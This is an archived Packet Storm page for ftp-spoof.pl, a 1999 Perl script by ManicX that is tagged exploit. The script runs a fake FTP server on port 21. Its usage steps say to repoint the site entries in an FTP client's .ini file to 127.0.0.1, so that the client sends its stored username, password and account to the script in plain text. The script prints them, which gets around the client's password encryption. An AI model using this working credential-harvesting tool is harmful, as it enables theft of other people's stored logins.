exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ftp-spoof.pl

ftp-spoof.pl
Posted Aug 17, 1999
Authored by ManicX

ftp-spoof.pl v0.01 - Local FTP server spoofer: Many FTP clients these days have a text file called (program-name).ini which will store the info like site-name, user-name, encrypted password and account-name. Instead of trying to decrypt the password for each different application (ws_ftp etc) do this: edit the (program-name).ini, wherever there is a site-name change it to 127.0.0.1, start this perl scipt, open your ftp program and click connect.

tags | exploit, local, perl, spoof
SHA-256 | 3f7d7b21c347b669b64d6226d57a646f2d4e33f86ba7a085a995646cf5e8579f

ftp-spoof.pl

Change Mirror Download
# This is a simple tcp server that listens on port 21
# unless another is specified.
# The possible uses of this are;
# Ftp has no encryption for passwords and they are
# sent in plain text under the right conditions.
# Most ftp programs have a text file called <program-name>.ini
# which will store the info like site-name, user-name, encrypted
# password and account-name. Instead of trying to decrypt the
# password for each different application (ws_ftp etc)
# do this.
# Edit the <program-name>.ini
# Wherever there is a site-name change it to 127.0.0.1
# Start your this perl scipt
# Open your ftp program and click connect

# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there ..

print "===========================\n";
print " Manicx local FTP spoofer\n";
print " www.infowar.co.uk/manicx/\n";
print "===========================\n";

($port) = @ARGV;
$port = 21 unless $port; # Are port is 21 unless specified

$AF_INET = 2;
$SOCK_STREAM = 1;

$sockaddr = 'S n a4 x8';

($name, $aliases, $proto) = getprotobyname('tcp');
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}

print "Port = $port\n";

$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");

select(NS); $| = 1; select(stdout);

socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
bind(S,$this) || die "bind: $!";
listen(S,5) || die "connect: $!";

select(S); $| = 1; select(stdout);

print "Listening for connection..\n";

($addr = accept(NS,S)) || die $!;

print "Accept ok\n";

($af,$port,$inetaddr) = unpack($sockaddr,$addr);
@inetaddr = unpack('C4',$inetaddr);

print NS "220\n"; # We are ok for login (send username)
$user = <NS>;
print $user;

print NS "331\n"; # user ok send password
$pass = <NS>;
print $pass;

print NS "331\n"; # password ok send account
$acco = <NS>;
print $acco;

print NS "200\n"; # account ok send what you want.

$resp = <NS>;
print $resp;

print NS "451\n"; # bye bye baby
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close